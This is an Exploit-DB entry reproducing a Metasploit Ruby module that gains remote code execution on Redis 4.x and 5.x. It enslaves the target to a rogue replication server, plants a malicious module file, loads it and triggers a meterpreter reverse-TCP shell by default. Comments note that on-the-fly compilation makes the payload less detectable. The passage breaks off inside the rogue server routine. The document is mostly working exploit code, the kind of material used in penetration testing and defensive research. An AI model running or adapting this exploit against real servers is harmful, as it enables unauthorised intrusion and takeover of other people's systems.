Exploit-DB #48272
Description: Redis - Replication Code Execution (Metasploit)
Type: remote
Platform: linux
Date: 2020-03-31
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  include Msf::Auxiliary::Redis
  include Msf::Module::Deprecated

  moved_from "exploit/linux/redis/redis_unauth_exec"

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Redis Replication Code Execution',
      'Description'    => %q{
        This module can be used to leverage the extension functionality added since Redis 4.0.0
        to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis
        which called replication between master and slave.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Green-m  <greenm.xxoo[at]gmail.com>'     # Metasploit module
        ],
      'References'     =>
        [
          [ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],
          [ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']
        ],

      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          ['Automatic',  {} ],
        ],
      'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
          'SRVPORT' => '6379'
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Nov 13 2018',
      'DefaultTarget'  => 0,
      'Notes'          =>
        {
          'Stability'   => [ SERVICE_RESOURCE_LOSS],
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
        },
      ))

    register_options(
      [
        Opt::RPORT(6379),
        OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])
      ]
    )

    register_advanced_options(
      [
        OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),
        OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),
        OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])
      ]
    )
    deregister_options('URIPATH', 'THREADS', 'SSLCert')
  end

  #
  # Now tested on redis 4.x and 5.x
  #
  def check
    connect
    # they are only vulnerable if we can run the CONFIG command, so try that
    return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/

    if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
      report_redis(redis_version)
    end

    unless redis_version
      print_error('Cannot retrieve redis version, please check it manually')
      return Exploit::CheckCode::Unknown
    end

    # Only vulnerable to version 4.x or 5.x
    version = Gem::Version.new(redis_version)
    if version >= Gem::Version.new('4.0.0')
      vprint_status("Redis version is #{redis_version}")
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  ensure
    disconnect
  end

  def has_check?
    true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis
  end

  def exploit
    if check_custom
      @module_init_name = datastore['RedisModuleInit']    || Rex::Text.rand_text_alpha_lower(4..8)
      @module_cmd       = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"
    else
      @module_init_name = 'shell'
      @module_cmd       = 'shell.exec'
    end

    if srvhost == '0.0.0.0'
      fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')
    end

    #
    # Prepare for payload.
    #
    #  1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.
    #     It's only worked on linux system.
    #
    #  2. Use compiled payload, it's avaiable on all OS, however more detectable.
    #
    if check_custom
      buf = create_payload
      generate_code_file(buf)
      compile_payload
    end

    connect

    #
    # Send the payload.
    #
    redis_command('SLAVEOF', srvhost, srvport.to_s)
    redis_command('CONFIG', 'SET', 'dbfilename', "#{module_file}")
    ::IO.select(nil, nil, nil, 2.0)

    # start the rogue server
    start_rogue_server
    # waiting for victim to receive the payload.
    Rex.sleep(1)
    redis_command('MODULE', 'LOAD', "./#{module_file}")
    redis_command('SLAVEOF', 'NO', 'ONE')

    # Trigger it.
    print_status('Sending command to trigger payload.')
    pull_the_trigger

    # Clean up
    Rex.sleep(2)
    register_file_for_cleanup("./#{module_file}")
    #redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
    #redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")

  ensure
    disconnect
  end

  #
  # We pretend to be a real redis server, and then slave the victim.
  #
  def start_rogue_server
    begin
      socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport})
      print_status("Listening on #{srvhost}:#{srvport}")
    rescue Rex::BindFailed
      print_warning("Handler failed to bind to #{srvhost}:#{srvport}")
      print_status("Listening on 0.0.0.0:#{srvport}")
      socket = Rex::Socket::TcpServer.create({'LocalHost'=>'0.0.0.0', 'LocalPort'=>srvport})
    end

    rsock = socket.accept()
    vprint_status('Accepted a connection')

    # Start negotiation
    while true
      request = rsock.read(1024)
      vprint_status("in<<< #{request.inspect}")